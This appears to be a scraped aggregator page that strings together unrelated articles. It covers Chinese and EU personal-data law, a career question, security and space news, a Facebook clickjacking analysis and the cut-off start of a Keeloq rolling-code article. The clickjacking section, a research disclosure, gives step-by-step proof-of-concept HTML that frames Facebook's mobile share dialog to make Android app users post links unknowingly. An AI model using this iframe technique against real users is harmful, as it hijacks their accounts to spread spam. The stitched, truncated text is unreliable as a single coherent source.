*本文作者:夏石科技,转载请注明来自CodeSec.Net

万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

$
0
0

数据在营销和推广的中的作用空前重要,与此同时,数据和隐私的被侵犯,也成为公众最关切的问题之一。当你每天都收到无数的骚扰电话垃圾短信的时候,你很难不愤怒,到底是谁窃走了我的隐私?!

这种愤怒的情绪可能会蔓延,并且扩展到对于所有营销行为的质疑上,尤其对于互联网上的精准营销,更难免成为众矢之的。

可是,群体的情绪和事实的真象往往有很大的差异,但当情绪积累,就会腐蚀真相,并用盲目取代真相。

这篇文章或许不能“以正视听”,但希望帮助大家梳理脉络,让我们对哪些是好的、哪些是真正可怕的,有一个基本的认识。

一、红线
万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

(图片来自网络)

什么是红线很重要,而且现在的红线,比过去几年要清晰多了。什么能做什么不能做,基本上已经比较明确。当然,在《中华人民共和国个人信息保护法》正式出台之后(现在这个法律还是草案,离正式实施还早),红线可能会更加清晰。

先看当下,红线主要划在两个事情上,第一“个人信息”;第二,非法处置了“个人信息”。目前很多的误解和争议,也都主要来自于这两点。

比如,2012年发布的《全国人大常委会关于加强网络信息保护的决定》的第一条:“任何组织和个人不得窃取或者以其他非法方式获取公民个人电子信息,不得出售或者非法向他人提供公民个人电子信息。”。

又如,2015年《刑法修正案(九)》,明确了在履行职责或者提供服务过程中获得的公民信息出售或者提供给他人的应当重罚。

又如,2017年《民法总则》,明确个人信息受到法律保护,确立了个人信息的独立民事权利地位。

另外还有一些法律规定了侵害个人信息的量刑和法律适用等,这里不一一列出。

虽然法规不少,条款繁多,但总结起来还是“个人信息”和“处置个人信息”这两块。涉及这两块的,都很敏感,都不可以随便对待从而造成侵权甚至犯法犯罪。所以,两根红线,我们值得进一步解读。

二、个人信息
万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

(图片来自网络)

对于“个人信息”具体指什么,不同的法律条款的表述不一样。

比如,工信部在2011年年末发布的《规范互联网信息服务市场秩序若干规定》,明确将“可识别性”作为个人信息认定的核心规则,并规定除了法律、行政法规等另行规定外,收集、使用、提供个人信息必须经得用户同意。这是第一次明确对“个人信息”进行定义,并且与今天大家公认的定义非常类似。

又如,两高一部在2013年联合发布《关于依法惩处侵害公民个人信息犯罪活动的通知》中明确公民个人信息包括能够识别公民个人身份和涉及公民个人隐私的信息、数据资料。同样强调了“能够识别”四个字。

又如,同样是在2013年,由工信部发布的《电信和互联网用户个人信息保护规定》规定个人信息包括用户识别信息和用户使用服务时间、地点等信息。与前面的法规相比,增加了用户使用服务的时间和地点等信息,说明这些信息同样是暴露个人隐私的敏感信息。这个其实也不难理解。

还有,2016年11月《网络安全法》(自2017年6月1日起施行),规定个人信息是指“以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息”。这个定义进一步明确了一种情况,即单一信息虽然不能识别个人身份,但是却可以由多个类型信息结合起来实现个人身份识别的,同样属于“个人信息”。

目前仍然是草案的《中华人名共和国个人信息保护法》则规定,个人信息是指以电子或者其他方式记录的能够 单独 或者 与其他信息结合 识别自然人个人身份的各种信息,包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。

2018年5月1日起生效的《个人信息安全规范》对个人信息也有定义,这一个安全规范尽管不是一般意义上的法律,但是一个已经被批准的标准,因为各个企业,尤其是互联网企业,是必须要遵守这个标准的,但也请注意,由于它不是法律,因此不遵守这个标准并不是说就是犯法,更不意味着犯罪。在这个规范标准中,对个人信息有迄今为止最为详细的定义,即以电子或者其他方式记录的能够单独或者与其他信息结合识别特定自然人身份或者反映特定自然人活动情况的各种信息。包括姓名、出生日期、身份证件号码、个人生物识别信息、住址、通信通讯联系方式、通信记录和内容、账号密码、财产信息、征信信息、行踪轨迹、住宿信息、健康生理信息、交易信息等。

为了说明什么是个人信息,《个人信息安全规范》甚至用了一个附录做了详细列举,如下所示:


万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

这些法律对于个人信息的定义具有一致性,即,可识别到个人的信息,无论是单独出现的,还是一个信息集合,只要能够识别到这个人,都属于个人信息。举一个例子,电话号码、身份证、邮箱、姓名、住址这些,毫无疑问是个人信息。而哈弗大学信息管理学院16级脚上纹了黑色玫瑰花的那个黑人女同学,同样也是个人信息,因为这个信息是一个集合,同样能够定位到这个个体。

还有,比如说指纹、面容、DNA信息等生物识别信息,是不是个人信息,当然也是!不仅是,而且特别敏感,属于必须得高度保护的个人隐私数据。这一类高度保护的个人隐私数据,在《个人信息安全规范》中被称为“个人敏感信息”,也做了详细说明,如下:


万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

讲到这里,稍微强调一下,个人信息有两个很重要的特征,一个是 识别 ,一个是 关联 。直接能够识别到某个具体个人的,是个人信息;不能直接识别,但是由具体的个人在其活动中产生的信息(如个人位置信息、个人通话记录、个人浏览记录等)能够跟这个个人关联起来的,也是个人信息。这两个特征很重要,决定了我们后面要讲的很多具体的规定。

有人说,我这里有100个人的人群画像,算不算个人信息?这个已经都是100个人了,当然就不算个人信息了,安全性大大提升。但是,一个具体的个人的画像,那就毫无疑问是个人信息。

三、过去灰色地带,现在已经触及红线了吗?

这里的灰色地带,主要就是IMEI号、IDFA、MAC地址什么的,它们是否已经属于个人信息?

总体来看,这一部分较为倾向于属于个人信息,但仍然没有完全“盖棺定论”。或者这么说,国家已经基本上认定它们属于个人信息,只是没有一个法律白纸黑字经人大批准,但个人认为这是迟早的了。

现在,你可以这么认为,如果你要处置IMEI、IDFA或者MAC地址,你必须把它们作为个人信息对待。

那么cookie呢?是否属于个人信息?现在的法律对于cookie的情况不太明确,鉴于cookie本身很容易被删除、更新或者禁用,似乎不如IMEI之类的硬件标识敏感,但它确实又有我们前面所言的“关联性”特征,因此,我倾向于它属于不那么被重视,或者说不是那么大价值的“个人信息”。当然,这只是我的解读,国家尚无明确的规范。

你可能会说,如果没有IMEI、IDFA、MAC地址,还有cookie什么的,如果都是个人信息了,那咱们的互联网广告还怎么做,一夜回到解放前,什么精准定向,没啥可玩儿的了。

别急,即使是个人信息,也没有说就是完全不能用的。我们接着看。

四、个人信息是能够被使用的!

任何国家的任何法律,都没有说不允许使用个人信息,所有的法律和规定,都是围绕如何正确使用这些信息,而不是如何禁止使用这些信息。

这是一个大前提。所以,不要觉得个人信息是洪水猛兽,隐私是洪水猛兽。不是的,在法律规定范围内的合法合理使用,没有任何问题!

而且,现在是AI时代,没有数据搞什么毛线AI。国家不能够一边鼓励AI,一边禁止使用数据,这在逻辑上也根本说不通。

那么,要怎么使用才算正确的使用呢?这就涉及到最前面讲的第二根红线。

五、同意原则――使用个人信息的核心要点

任何经营活动,都难免会跟个人信息打交道,哪怕是线下开一个小卖部允许消费者赊账,那也得记录消费者的姓名和电话以备不时之需。所以,如果商业社会不能使用个人信息,商业文明就会崩溃。这是不能想象的。

但,与过去不同,你若要使用个人信息,现在必须要经过同意。

同意原则是你使用个人信息的起点。当然,也有例外的情况可以不经过个人同意就使用个人信息,一般都是涉及国家安全什么的特殊情况,这篇文章就不讨论了。

同意原则,包含三个类型: 默认同意、明示同意和授权同意 。按照《个人信息安全规范》的情况看,我们国家认可明示同意和授权同意,但是对默认同意则不太认可。

我们看看它们分别是什么意思。

默认同意:是指服务的提供方与你有一个协议,基于这个协议,只要你使用了这个服务,你就同意将你的个人信息提供给他们。默认同意非常容易被滥用,而且实际上并不一定等同于真正的征得了用户的同意,因此在《个人信息安全规范》中没有被认可。但坦率讲,目前这一块仍然在法律层面上属于灰色地带,留待未来的法律明确。 明示同意:在欧盟的GDPR上的用词是explicit consent,这一类同意的意思很明确,即应确保个人信息主体的明示同意是其在 完全知情 的基础上自愿给出的、具体的、清晰明确的愿望表示。一旦获得了这一类同意,在协议范围内,你使用个人信息是合法的。或许你在银行里面申请信用卡的时候有遇到过,银行让你手写一遍“我完全阅读并理解上面的条款云云”,或者在结婚的时候,当着民政部工作人员的面读一遍结婚的誓词,这就属于明示同意。完全知情四个字,是明示同意的核心。明示同意在我国目前主要用于对于个人敏感信息的获取和使用上。 授权同意:与明示同意不同,授权同意的要求没有明示同意那么严格,即数据使用方确实很难确保每一个人都看了条款,或者都是完全知情的。但,与明示同意一样,该有的条款,该写清楚收集了哪些信息,用于做什么等等,一点不能少,只不过用户可以自己决定看还是不看,用户确实可以不看条款就勾选同意,那也算授权了。所以,欧盟基本上都是明示同意,但太严了,操作起来麻烦太多。我们国家至少目前还是认可授权同意的。

因此,最安全的方法,是获得明示同意,其次是授权同意。默认同意――尽管现在太多服务商在这么做,却存在很大的风险,可能在不远的将来就会等同于没有获得用户的同意,

六、使用个人数据的界限――同意让你使用,不代表同意让你给别人用

如果说同意原则是起点,那么有另一个极为重要的事情则是界限,即你获得了使用个人信息的同意,不代表着你能够将这些信息转给其他人。

如果你是阿里,你获得了用户的个人信息,并且在用户同意条款中明示了你会收集这些信息,用作互联网营销的精准投放。那么,这是否意味着你可以把这些个人信息数据拿去给某个广告公司使用进行广告投放?

如果你在同意条款中有写明将用于第三方广告公司的广告投放,那么问题不大。可是,这个第三方公司再把数据转交给其他媒体,这个问题就比较大了。因为,在个人信息的使用界限上有明确一条,即“个人信息的使用不得超出与收集个人信息时所声称的目的具有直接或合理关联的范围。因业务需要,确需超出上述范围使用个人信息的,应再次征得个人信息主体明示同意。”这个时候,这个广告公司,必须得再征得用户的同意,如果得不到这个同意,那么这个数据就不能再被转移给其他方。

当然,个人数据的界限中间还有一个非常敏感的领域,那就是数据出境。简单讲,无论如何,个人信息数据是不能出境的。否则,就是非常严重的问题。有多严重?你懂的,我就不多说了。

七、合理合法处置个人信息

谈到使用个人数据的界限,我们必然也要谈到收集、存储、转发、利用、消除等对于个人信息的处置。这些同样要遵循法律法规。

关于如何才算遵循法律法规,用大白话总结起来,有如下的一些要点:

你要用,可以,但是必须得明确告知。就是前面的同意原则。 你要用,可以,但是在没有经得同意的情况下,你不能给别人用。这就是数据使用的界限问题。 尚无准入机制:现在没有个人信息被收集和使用的准入制,即并不存在允许你收集,你才能收集的问题。但是,这个不绝对,未来的《中华人民共和国个人信息保护法》出台之后,情况可能会有变化,在这一草案中有明确一条:“非国家机关信息处理主体未经登记管理机关进行业务资格登记并发给执照,不得收集个人信息。”当然,我相信这一条会有很大很大的争议,而且表述的也不清晰,是什么登记管理机关什么业务什么执照呢?营业执照,还是业务执照,还是收集信息的执照?如果是后者,那是否又会延伸出很多更加复杂的问题呢,不得而知,但感觉非常诡异。 售卖个人信息获利违法:直接通过售卖个人信息属于违法犯罪!但这也分情况,一种是最典型的,我有很多个人信息数据,我卖给你,你给我钱;另外一种是我卖我自己的个人信息数据,你给我钱。后者不构成侵权。 未经许可泄露也违法:未经用户许可泄露个人信息同样违法法律!泄漏到境外去,更加严重!

说到这里,我们来看看未来法律可能会有,但是现在还没有实施的针对个人信息的合理处置的相关条例:

个人信息的所有权肯定会被明确。我倾向于认为所有权肯定是属于个人的。当然,比如涉及到国家安全或者一些特定情况下,个人信息肯定也会属于其他的组织,跟我们关系不大,我就不多讲了。 未来的法律会详细规定个人信息被处置的相关原则。包括: 知情同意原则:不符合法律或未经信息主体知情同意,不得收集个人信息。收集不需识别信息主体的个人信息,应当消除该信息的识别力,并不得恢复。 目的明确原则:个人信息的收集应当有明确而特定的目的,不得偏离有关目的收集个人信息。不得以欺诈、胁迫等其他不正当的手段获取个人信息。 限制利用原则:个人信息的处理和利用,必须与收集目的一致,必要情况下的目的变更应当有法律规定或取得信息主体的同意或其他正当理由。 完整正确原则:信息处理主体应当保证个人信息在利用目的范围内准确、完整并及时更新。 安全原则:信息处理主体应当采取合理的安全措施保护个人信息,防止个人信息的意外丢失、毁损,非法收集、处理、利用。 可追溯、可异议、可纠错原则:信息处理主体必须保障个人信息来源渠道和信息使用渠道清晰,确保个人信息可追溯、可异议和可纠错。 信息主体拥有对信息的处置权,但仅限于对自己的信息(这个当然是废话)。 个人信息相关的处置权利会包括:信息决定、信息保密、信息查询、信息更正、信息封锁、信息删除、信息可携、被遗忘,依法对自己的个人信息所享有的支配、控制并排除他人侵害的权利。比如信息决定权,是指个人信息权人得以直接控制与支配其个人信息,并决定其个人信息是否被收集、处理与利用以及以何种方式、目的、范围收集、处理与利用。信息可携权指信息主体有权就其被收集处理的个人信息获得对应的副本,并可以在技术可行时直接要求信息控制者将这些个人信息传输给另一控制者。信息封锁权指在法定或约定事由出现时,个人信息权人得以请求信息处理主体以一定方式暂时停止或限制该个人信息的处理。

如何看待未来可能出现的法律呢(尤其是这个尚处草案的《中华人民共和国个人信息保护法》)?很显然,如果你对另外一部可称得上世界最严的个人信息保护法规有所了解的话,你就会发现二者有很多相似之处。我们下面看看这个法规。

八、目前世界最严格的法律是怎么要求的
万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

(图片来自网络)

我们再来看看目前世界上最严的法律是怎么要求的。这个法律当然不是中国的法律,而是欧盟的GDPR。

GDPR规定了个人的数据权利,其中几点特别值得我们国家学习。(事实上从《中华人民共和国个人信息保护法》上来看,我们已经在直接学习了。)

第一点是被强化的同意/许可。

GDPR强调,必须经过个人的明确许可方能获、处理、使用这些数据。这样的许可不仅必须是清晰、明确、简明的,必须不能引起用户的误解、忽视,或是因为觉得麻烦而略过,还必须清楚地表明使用的目的、范围、产生的后果等等,以帮助用户进行判断是否应该授权。所有骗取用户同意的“花招”都不允许使用。此外,所有的授权都不再是一次性的,而是必须基于每一次“用例”,即每一次你需要用到用户数据的时候,都要征询用户的许可。消费者有权让数据处置方提供如下信息:数据处置的目的、数据类型、数据接收方的信息以及数据来源。

然后是访问权,即企业需要提供足够的便利和权限,让用户能够访问自己的全部数据,而且不应该收取用户任何费用。这些数据不仅仅只是访问,用户自己也可以不打折扣的全部索取(下载)。

限制处置权,即数据主体有权禁止数据处置方将其信息用于特定的用途,比如用于营销推广,或是禁止将这些数据转给任何第三方。

数据便携权,即数据处置者必须提供实际的保障,确保用户能够将这些数据按照自己的意志转移到其他的第三方,并且要么以通用的、机器可读的格式,要么以第三方可读的格式进行转移。

遗忘权,个体有权利要求掌握他/她的数据的人擦除掉关于他的所有的数据,不仅如此,那些被掌握这些数据的人散播出去的,也得一并擦除。

其他关于GDPR的内容,大家可以参考我的一篇专门的文章: 【深度文章】迄今为止最清晰明了的解读GDPR――为什么让全世界都颤抖?以及我该怎么办 。

从GDPR的这些核心内容看,GDPR同样不是禁止使用数据,而是要按照更严格的要求使用数据。

那么,要多么严格呢?我们以cookie这个具有代表性的数据为例,要如何处置cookie可以符合GDPR的标准。

九、合规就可以使用――以GDPR在cookie上的实施为例

GDPR并没有特别针对cookie的条款,但是根据GDPR的普通条款,cookie不能跟过去一样随意收集,而必须按照新的规范。

例如,我们常常在海外网站上看到的下面的这种提醒,实际上不再合规。这种类似于授权同意,但是表述也很不明确,即使在我们国家,也不属于符合规则。


万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

而下面的这个关于cookie的弹窗,是GDPR合规的。


万字深度剖析:互联网用户数据和隐私――中国的现状和下一步

区别在哪里?

区别在于这个是明示同意。

上面这个弹窗,清晰明了的说明了cookie收集行为和它的目的――用于个性化的内容和广告,以及实现社会化媒体功能和网站的流量分析。不仅如此,还提醒消费者这些cookie信息也可能转移给其他第三方用于什么什么目的。因此满足了GDPR的“许可原则”。然后,这个弹窗给了用户权利选择cookie的应用领域,而不是直接选择接受或者不接受,即满足了GDPR的限制处置权。

当然,这个网站还必须提供入口,让用户随时删除这些cookie,或是能够让用户重新选择cookie的应用领域,以及每12个月,要重新获得一次用户的许可。

由此可见,GDPR不是简单的限制,更不是禁止,而是一个体系化的合规要求。GDPR允许利用cookie进行广告投放、网站分析等,只要你符合用户许可、限制、遗忘等权利的规定。未来,我们的国家肯定也会有类似的要求。

十、如果真的有“中国版”的GDPR

中国版的GDPR肯定会在不久的将来就会出现。前面提到的几个法规和标准,跟GDPR已经相当接近了。但总体还是比GDPR要宽松。

这个法律如果出台,我认为对当前的互联网广告环境有一定冲击。

首先,部分披着大数据的皮倒卖个人数据的公司必然要转行。这些本来就是在灰色地带生存的,不来就不合理,它们在未来的日子绝对不好过,除非真的把刑法当赚钱的方法。

其次,获取用户的同意会成为非常关键的一环,不过,比GDPR要好,我们还是可以用授权同意。在这个角度上,我相信会损失相当部分的个人信息数据,尤其是IMEI这些,也不能随便用了,但授权同意相对还是容易获得,也不至于是灭顶之灾。广告行业应该更好的做好准备,更坦诚,更透明,更规范,从而能够确保合理合法的收集和使用这些数据。

不过,更完善的法律通过规范整个行业的行为,也有利于业务开展和行业发展。正是因为法律不健全等原因,所以国内其实没有真正意义上的服务于数字营销的数据交易平台。未来法律如果更加健全,数据的使用可能反而能变得更加开放。并且,一部清晰明确的法律,对于统一认识、避免误解、粉碎谣言有巨大的价值。

十一、去特征化

另外,看看大家常说的另外一个问题――去特征化,或者是我们常说的“脱敏”,能够极大程度降低违反个人信息保护相关法规的风险。

当然,去特征化肯定是在获得了个人信息数据之后,因此,在获取这一项上,仍然需要符合前面所说的标准和法规。

不过,如果你获取了相关个人信息之后,进行了彻底的去特征化――数据再也无法对应到个人了,也对应不到任何个人信息了,是否就可以不受个人信息法规约束进行使用了呢?答案是肯定的。

去特征化的方法很多,删除敏感信息、加密等,都是常用的方法。

十二、一些具体应用场景的合规性问题

文末,关于大家争议特别多的领域,我们看看 按照现行的法律 是否违规。

利用APP监测添加的SDK获取的device ID进行精准营销,比如talkingdata、友盟帮助app追踪匿名用户行为获取的device ID,并将这些device ID用于第三方的展示广告推广。――除非明确告知并获得同意,否则已经违规,如果未经允许将device ID和用户的电话对应起来拨打骚扰电话或发短信,更是违规。 Wifi探针――获取MAC地址并利用MAC地址定向投放广告与上同理。 基于cookie监测网站匿名用户行为、基于unionID或者openID监测微信公众号或者小程序匿名用户行为、基于device ID监测app上匿名用户行为等,在告知用户并获得同意后均不违规,如果没有,目前比较灰色,但按照前面的标准,有很大的违规的嫌疑。 在阿里的品牌广告数据银行或者腾讯社交广告DMP等进行基于device ID或者MAC等进行精准广告推广或者再营销,经过用户同意,不违规。 按照一定的号段随机拨打用户的手机号码进行广告推销,不算个人信息泄露,但涉嫌扰民,情节严重的,可能会算违反治安管理条例。但有些推广电话,知道你姓字名谁,涉嫌倒卖公民个人信息和电信诈骗,违法。 经过个人同意,并签署协议的用户调研、panel等所获取的个人信息,只要没有超过协议的范围,不违规。

最后,个人信息和数据隐私保护是非常复杂的话题,错谬难免,敬请读者朋友们指正。

Ask HN: Carrer advice for the next years

$
0
0

First a little background: I`m in my mid 20s, worked my way up from a help-desk position. Done 4years of sysadmin work and i am currently employed in of the largest Scandinavian based firms.

My day to day jobs consists of daily operation of various software solutions (mostly java applications), projects (kubernetes is the new hot thing) and various other sysadmin related tasks.

I have been approached by several people that want me to jump ship and join another department and or firm. But I`m not sure what i want going forward in my IT career. I have two offers coming to me in early 2019, one is joining a penetration testing team, enrolling in a 6-12 months insane learning program. The other is joining another firm where i will become an Azure architect.

The problem or rather what i feel insecure about is that i don`t know enough, especially for the penetration testing gig. I don`t know programming in general, yes i have tweaked some php/bash/python/go code but never made anything from the ground up. So I`m debating if i should move away from my "comfortable" position where I`m usually praised and involved in a lot of projects and I`m making a big positive impact, for both customers, colleagues and the firm. To a new position where this will be limited (atleast for a couple of years) in both skill, earning potential and possible impact I`m able to do.

I`m basically looking for advice, if someone has been a similar dilemma and would like to share their experience, then that would be really appreciative.

BUF早餐铺 | 研究人员发现新的Windows零日漏洞;Facebook被曝从第三方App收集数据:涉 ...

$
0
0

各位Buffer早上好,今天是2018年12月24日星期一。今天的早餐铺内容有: 研究人员发现新的 windows 0-day 漏洞; 加密货币恶意软件数量过去1年增长4000%; Facebook被曝从第三方App收集数据:涉及位置信息; 法国数据保护监管机构CNI向 Uber 开出46万美元罚单; 外交部发言人就美在网络安全问题上的错误言行发表谈话。


BUF早餐铺 | 研究人员发现新的Windows零日漏洞;Facebook被曝从第三方App收集数据:涉 ...

以下请看详细内容:

研究人员发现新的 Windows 0-day 漏洞 近日,推特名为 SandboxEscaper 的研究人员披露了一个新的 Windows 0-day 漏洞的 POC,这是他几个月内披露的第三 Windows 0-day 漏洞。这个漏洞是任意文件读取漏洞,可被低权限用户或恶意程序利用,读取目标 Windows 计算机上的任意文件内容。而这一功能原本只能通过管理员权限才能实现,所以也有媒体称之为Windows 系统提权漏洞。漏洞存在于“MsiAdvertiseProduct”函数中,由于存在某些错误,会让安装服务以系统权限复制任意文件,进而读取文件内容。该研究人员发布演示视频后,也在 GitHub 上发布了 POC,但该账号随后被关闭。截至本稿截稿,微软尚未发布修复措施。[来源: zdnet ] 加密货币恶意软件数量过去1年增长4000%

根据McAfee实验室近期公布的最新研究报告,针对加密货币的恶意软件数量在过去一年中增长了4000%。在2018年12月威胁报告中,McAfee指出2018年第一季度针对加密货币矿工的恶意软件数量大幅增长。这一趋势在第二季度似乎略有减少,但在第三季度,环比增长近40%。在过去几个季度中,新型勒索软件的数量有所下降,这表明这些攻击者正转向更有利可图的加密劫持模式(cryptojacking)。

由于普遍缺乏适当的安全控制,类似于IP摄像头等物联网设备和路由器等设备非常容易受到攻击。这些设备虽然没有强大的CPU,但庞大的数量依然可以为黑客带来有价值的回报。在过去两年中,恶意软件总体上已经出现了稳定和可预测的增长,这一趋势没有显示出放缓的迹象。[来源: mcafee ] Facebook被曝从第三方App收集数据:涉及位置信息

据美国科技媒体CNET报道,Facebook或许一直在收集用户的一些私密信息。德国移动安全公司Mobilsicher在周三发布的报告称,像Tinder、Grindr以及Pregnancy+等Android应用会与Facebook共享用户的一些敏感信息。

报道称,约会档案、健康数据、宗教信仰等其它细节信息都包括在内。BuzzFeed表示,共享的信息还包括用户的广告ID(广告辨识码)。Facebook可以通过用户的广告ID,将第三方应用信息与使用应用的用户挂钩。第三方应用开发者可以利用Facebook提供的软件开发工具包(SDK)来收集这些信息,用户则能通过SDK来登录Facebook。大多数应用开发者认为Facebook获取的信息是匿名的。但是BuzzFeed指出,尽管名字并未纳入在数据中,但是这些信息绝非是匿名的。Facebook会为开发人员提供包括用户在应用上的使用时间以及点击位置等信息。作为信息交换,这家社交网络会通过这些应用来获取数据,然后利用此来投放精准广告。[来源: 新浪科技 ] 法国数据保护监管机构CNIL向Uber开出46万美元罚单 欧洲各国已经开始进入“围殴”模式,一个接一个地向Uber开出罚单,以惩戒其处理2016年数据泄露的方式。日前,法国的数据保护监管机构CNIL宣布将对Uber开出460000美元(400000欧元)的罚款。因早在2016年,Uber的大规模数据泄露影响了5700万用户,其中包括法国的140万用户。根据CNIL的报告,黑客正使用来自这些泄露数据的登录名和密码连接到Uber的GitHub存储库,然后再设法连接到Uber的亚马逊网络服务帐户并下载用户数据,更夸张的是AWS登录信息以纯文本格式存储在GitHub上,造成严重影响。[来源: cnbeta.com/articles/tech/800641.htm ] 外交部发言人就美在网络安全问题上的错误言行发表谈话

外交部发言人华春莹21日就美在网络安全问题上的错误言行发表谈话。华春莹表示,12月20日,美方捏造事实、无中生有,在网络安全问题上对中方进行无端指责,以所谓“网络窃密”为由对两名中方人员进行“起诉”。此举严重违反国际关系基本准则,严重损害中美合作,性质十分恶劣,中方对此坚决反对,已向美方提出严正交涉。

她说,中国政府在网络安全问题上的立场是一贯的、明确的。中国是网络安全的坚定维护者,一贯坚决反对并打击任何形式的网络窃密。中国政府从未以任何形式参与或支持任何人从事窃取商业秘密的行为。

华春莹说,长期以来,美国有关部门对外国政府、企业和个人进行大规模、有组织的网络窃密和监听、监控活动,这早已是公开的秘密。美方以所谓“网络窃密”名义对中方进行无端指责,纯属倒打一耙,自欺欺人。中方绝不接受。

“我们敦促美方立即纠正错误做法,停止在网络安全问题上对中方的诬蔑抹黑,撤销对中方人员的所谓起诉,以免对两国关系以及双方在相关领域的合作造成严重损害。中方将采取必要措施坚定维护中国的网络安全和自身利益。”

华春莹说,英国等个别国家也在网络安全问题上发表了诬蔑中国的言论,他们纯属无中生有、别有用心。我们绝不接受,坚决反对。我们敦促这些国家尊重事实,停止对中方的蓄意诬蔑,以免损害他们与中国的双边关系和重要领域合作。[来源: 新华社 ]

SpaceX Completes First US National Security Space Mission

$
0
0

SpaceX Completes First US National Security Space Mission

Photo Credit: SpaceX/Twitter

Stay on target SpaceX's Military Satellite Launch Is Delayed Again SpaceX Delays First US National Security Space Mission Due to Storms

After a week of delayed launch attempts, SpaceX finally completed its first U.S. national security space mission.

SpaceX announced the news on its Twitter account , where it said, “All systems and weather are gofor today’s Falcon 9 launch of the GPS III SV01 satellite.” On Sunday, a 26-minute window opened at 8:51 a.m. EST to launch the satellite, and SpaceX posted a livewebcast link for viewers.

Webcast of Falcon 9 launch is now live → https://t.co/gtC39uBC7z pic.twitter.com/BOFlGKd0KK

― SpaceX (@SpaceX) December 23, 2018

At 8:51 a.m. EST, the Falcon 9 rocket blasted off from Florida’s Cape Canaveral site, and sent the GPS III SV01 satellite to space. Another launch was scheduled for Saturday and Thursday, however, strong winds and thunderstorms halted both lift-off attempts.

Liftoff! pic.twitter.com/pi78HVFs6J

― SpaceX (@SpaceX) December 23, 2018

Two hours later, SpaceX published an update on Twitter and confirmed that the GPS III SV01 satellite was successfully deployed to medium Earth orbit.

Successful deployment of GPS III SV01 to medium Earth orbit confirmed. pic.twitter.com/4lhJpwdsip

― SpaceX (@SpaceX) December 23, 2018

The GPS III SV01 satellite has a lifespan of 15 years, and it’s the first to launch out of 32 satellites that are being created by Lockheed for the Air Force GPS III Program, Chip Eschenfelder, a Lockheed spokesperson, told Reuters in an article .

GPS III SV01 will also have some company next year. According to Eschenfelder, the next GPS III satellite is set to launch in mid-2019 and additional satellites will be tested at Lockheed’s processing facility in Colorado.

More on Geek.com:

SpaceX’s Military Satellite Launch is Delayed Again SpaceX Delays Launch of First Falcon 9 Rocket to Fly Three Times NASA Sets Date for First Uncrewed SpaceX Rocket Launch

Facebook Clickjacking分析

$
0
0

研究人员首先发现一个Facebook中一个非常讨厌的垃圾邮件活动,许多好友都发布了位于AWS bucket上的链接。该链接是一个有许多笑话的法国网站,这样的网站谁不会点呢?


Facebook Clickjacking分析

其中的一个垃圾邮件链接

如果有人点击了该链接,就会看到位于AWS bucket的网站。网站会要求用户确认是否大于16周岁,然后才能访问限制级内容。用户点击按钮后,会被重定向到一个有很多笑话的页面。同时刚才点击的链接会出现在Facebook wall(留言板)上。这是怎么做到的呢?


Facebook Clickjacking分析

Clickjacking页面

研究人员分析页面源代码发现一个可疑的iframe tag,看似与clickjacking有关。该frame指向另一个位于AWS的页面,该页面最终会执行下面的Facebook URL:

把该链接复制到浏览器中,会看到一个来自Facebook的分享窗口。查看响应头,发现该页面设置了X-Frame-Options: DENY header,所以不应该是clickjacking攻击。


Facebook Clickjacking分析

可疑的iframe代码

研究人员在Chrome, Chromium, Edge, IE, Firefox等主流浏览器中进行了测试,测试结果完全一样。每次在浏览器中加载该iframe都会引发X-Frame-Options错误。


Facebook Clickjacking分析

准确的Chromium行为

研究人员对此很疑惑,同时研究人员发现攻击者禁止波兰用户将该站点重定向。看起来攻击者的主要目标是法国的Facebook用户,但同时也有许多来自波兰的流量。


Facebook Clickjacking分析

禁止来自波兰的受害者的简单脚本

研究人员进一步分析发现不能使用桌面版浏览器,因为iframe中有mobile.子域名的暗示。因此,研究人员在Android Facebook App中加载该域名发现竟然可以正常工作。X-Frame-Options header中的内容被忽略了。

研究人员认为Facebook内置的浏览器会选择性地为特定的API调用忽略X-Frame-Options header。

研究人员查看Facebook开发者文档,看似这并不是一个bug,而是一个特征。开发者文档中有一个名为mobile_iframe的特殊参数:

if set to true the share button will open the share dialog in an iframe on top of your website […] This option is only available for mobile, not desktop

从开发者文档来看,这确实应该是一个特征,但就算是特征也是实现很差的特征。

研究人员22日确认这是一个特征,因为如果用户从手机设备连接Facebook,Facebook甚至不会为该网站设置X-Frame-Options header。而且Facebook对手机用户还提供应对clickjacking的安全预警,即弹窗问用户是否想要分享该链接。该本文的描述证明了该弹窗并没有那么有效。

Facebook拒绝承认这是一个漏洞,认为这是“working as intended”,而且不会提供修复方案。

PoC

研究人员同时给出了poc:

1.注册新的Facebook App账号

2.打开API

3.用下面的html代码创建新网站:

<html><body><iframe style="margin-top: -300;width: 100%;height: 340px;" id="tenframe" src="https://facebook.com/v3.2/dialog/share?app_id<your_app_id>&href=https://example.com/∈_iframe=1&locale=en_US&mobile_iframe=1" scrolling="no"></iframe></body></html>

需要将<your_app_id> 修改为你自己的APP id。

4.在Facebook wall上发布一个到该网站的链接;

5.在安卓Facebook APP上点击该链接,可以看到iframe被成功加载了。

PoC参见: https://malfind.com/test/poc.html

使用HackCube-Special分析滚动码信号

$
0
0

使用HackCube-Special分析滚动码信号
前言

所谓 滚动码(Rolling code) 是我们嗅探汽车遥控发射出来的射频信号,发现每一次的射频信号都是不一样的,并且每个信号只能被使用一次,这就是被称为滚动码的原因,本文以 Keeloq 举例,从设备工作频点,遥控信号编码,信号传输协议格式,来介绍滚动码是如何工作的,在介绍一下产生滚动码中最重要的 Keeloq加解密算法 ,以及Keeloq算法中使用的 编码秘钥生产规则 ,加密中 厂商秘钥泄露 的问题,到最后教大家如何打造一个像 HackCube-Special 的安全研究硬件去对滚动码进行安全研究。


使用HackCube-Special分析滚动码信号
设备工作场景

滚动码 相比于 固定码 较为安全一些,因此被部署到需要更强的 安全性 的设备上,例如 车库门 ,住户 门禁 , 拉伸门 之类的用的最多的估计就是 汽车 上面了,目前市面上的 汽车 基本都是采用 滚动码 的,所谓的滚动码其实遥控每一次发射的数据都是 唯一 且 不重复 的,因为数据是被经过 加密 后的 密文 在发射出来的,通常我们抓数据分析后会发现两次数据中会发生非常大的变化,目前已知在遥控器上常用的加密算法分别为 Keeloq , Hitag2 。

射频频点
